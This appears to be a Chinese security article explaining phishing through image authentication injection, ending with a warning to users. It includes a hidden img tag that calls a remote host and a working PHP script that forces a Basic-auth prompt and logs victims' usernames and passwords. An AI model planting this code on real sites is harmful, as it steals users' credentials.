文/饭
在这充满诱惑的网络,恶意攻击者的攻击手法层出不穷。而其中颇具难度的社会工程攻击在取得用户的信任的手段方面,往往更倾向于伪装用户服务提供商,或者是在用户交互时,直接进行欺骗。比较典型的网络钓鱼攻击是将用户引诱到一个通过精心设计与用户信任非常相似的钓鱼网站,让用户在不易察觉的情况下提供用户的个人敏感信息。在2004年,国内也曾出现过假冒银行的网站,比如假冒中国工商银行的网站。而这一篇文章,将主要介绍HTML语言里的图片标签引用而诱引的验证漏洞和其伪装的过程。
在milw0rm.com网站,petros发布一篇题为《Image Authentication Injection Paper + PoC》的文章,里头提到通过创建一个php文件向客户端的浏览器发送401未经授权的状态而导致浏览器显示一个登录对话框(显示给用户好像是从目标网站)发起的一个授权认证对话框,而恶意攻击者会诱使用户输入帐户或者密码之类的敏感信息从而导致钓鱼式的攻击。其流程如下:
HTTP是一种基于请求与响应模式的、无状态的、应用层的协议,客户端向服务器发送一个请求,请求头包含请求的方法、URL、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能实体内容。对整个过程进行抓包:
HTTP请求:
GET /iai.php HTTP/1.1 表示请求方法GET,请求的地址,和HTTP协议版本 Accept: */* 表示客户端可识别的内容类型列表,*/*表示所有类型 Accept-Language: zh-cn 表示客户端所能解盘的语言:简体中文 Accept-Encoding: gzip, deflate 表示客户端可以解盘的类型 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) 表示客户端浏览器型号 Host: www.test.cn 表示提交请求的页面 Connection: Keep-Alive 表示TCP连接保持打开 |
HTTP响应:
HTTP/1.1 401 Unauthorized 表示HTTP协议版本,应答码是401 即未经授权访问
Date: Sat, 25 Jul 2009 11:42:27 GMT 表示当前的GMT时间
Server: Apache/2.2.3 (CentOS) 表示服务器的操作类型
X-Powered-By: PHP/5.1.6 表示服务器的脚本版本
WWW-Authenticate: Basic realm="Text" 表示客户端在Authenticate头中提供的授权信息
Content-Length: 3 表示连接内容长度
Connection: close 表示TCP连接关闭
Content-Type: text/html 表示文档类型
负责响应的iai.php文件内容:
header('WWW-Authenticate: Basic realm="Text"');
header('HTTP/1.0 401 Unauthorized');
使用了PHP中的Header()函数,发送一个原始HTTP标头[Http Header]到客户端。 |
钓鱼式攻击的利用,从上面流程图里,可以知道大致步骤如下:
在网页里插入恶意代码
插入调用远程图片的代码,形如:
[img]http://B.com/iai.php[/img] <img src="http://B.com/iai.php" alt="" width="0" height="0" /> |
最好是高度宽度都为0,免得在网页里显示空白,代码如下:
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <img src="http://www.B.com/iai.php" alt="" /> <img src="http://www.B.com/iai.php" alt="" /> |
编写iai.php脚本这个脚本的主要功能包括返回401应答和获取提交的敏感信息,并保存。代码如下:
< ?php global $username,$passwd,$host; if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="test"'); header('HTTP/1.0 401 Unauthorized'); exit; } $username=$_SERVER['PHP_AUTH_USER']; $passwd=$_SERVER['PHP_AUTH_PW']; $host = $_SERVER['HTTP_HOST']; $myFile = "log.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); fwrite($fh, "网址:\t$host\t\t"); fwrite($fh, "usname:\t$username\t"); fwrite($fh, "passwd:\t$passwd\r\n"); fclose($fh); ?> |
当正常用户访问网站时,插在网页里的iai.php文件,即会强制弹出验证框,如图:
如果用户提交了帐户或者密码后,iai.php会在后台自动提交给远程的log.txt文件,产生内容如下:
通过加载脚本强制验证窗体的弹出,此社工在利用时,还是具有一定的局限性。在隐藏攻击意图时,有些不足,弹出的框,比较生硬,也可以语言措辞下进行修改,但是对一些安全意识缺失的网民来说,还是会有上当的可能。希望大家能当心,不要轻易输入敏感信息。





还没有任何评论。